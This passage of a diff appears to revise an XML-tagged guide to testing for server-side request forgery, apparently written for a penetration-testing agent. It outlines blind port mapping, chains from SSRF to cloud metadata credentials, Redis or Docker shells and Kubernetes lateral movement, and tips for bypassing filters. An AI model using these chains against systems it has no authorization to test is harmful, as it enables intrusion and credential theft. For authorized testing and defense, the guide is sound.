- Use OAST (DNS/HTTP) to confirm egress. Derive internal reachability from timing, response size, TLS errors, and ETag differences
|
|
93
|
+
- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
|
|
94
|
+
</blind_and_mapping>
|
|
95
|
+
|
|
96
|
+
<chaining>
|
|
97
|
+
- SSRF → Metadata creds → cloud API access (list buckets, read secrets)
|
|
98
|
+
- SSRF → Redis/FCGI/Docker → file write/command execution → shell
|
|
99
|
+
- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral
|
|
100
|
+
</chaining>
|
|
101
|
+
|
|
102
|
+
<validation>
|
|
103
|
+
1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences).
|
|
104
|
+
2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service.
|
|
105
|
+
3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read.
|
|
106
|
+
4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior.
|
|
107
|
+
</validation>
|
|
108
|
+
|
|
109
|
+
<false_positives>
|
|
110
|
+
- Client-side fetches only (no server request)
|
|
111
|
+
- Strict allowlists with DNS pinning and no redirect following
|
|
112
|
+
- SSRF simulators/mocks returning canned responses without real egress
|
|
113
|
+
- Blocked egress confirmed by uniform errors across all targets and protocols
|
|
114
|
+
</false_positives>
|
|
115
|
+
|
|
116
|
+
<impact>
|
|
117
|
+
- Cloud credential disclosure with subsequent control-plane/API access
|
|
118
|
+
- Access to internal control panels and data stores not exposed publicly
|
|
119
|
+
- Lateral movement into Kubernetes, service meshes, and CI/CD
|
|
120
|
+
- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
|
|
121
|
+
</impact>
|
|
153
122
|
|
|
154
123
|
<pro_tips>
|
|
155
|
-
1.
|
|
156
|
-
2.
|
|
157
|
-
3.
|
|
158
|
-
4.
|
|
159
|
-
5.
|
|
160
|
-
6.
|
|
161
|
-
7.
|
|
162
|
-
8.
|
|
163
|
-
9. Abuse redirects for filter bypass
|
|
164
|
-
10. SSRF can be in any URL-fetching feature
|
|
124
|
+
1. Prefer OAST callbacks first; then iterate on internal addressing and protocols.
|
|
125
|
+
2. Test IPv6 and mixed-notation addresses; filters often ignore them.
|
|
126
|
+
3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs.
|
|
127
|
+
4. Redirects are leverage: control both the initial allowlisted host and the next hop.
|
|
128
|
+
5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them for you.
|
|
129
|
+
6. Use tiny payloads and tight timeouts to map ports with minimal noise.
|
|
130
|
+
7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability.
|
|
131
|
+
8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there.
|
|
165
132
|
</pro_tips>
|
|
166
133
|
|
|
167
|
-
<remember>
|
|
134
|
+
<remember>Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.</remember>
|
|
168
135
|
</ssrf_vulnerability_guide>
|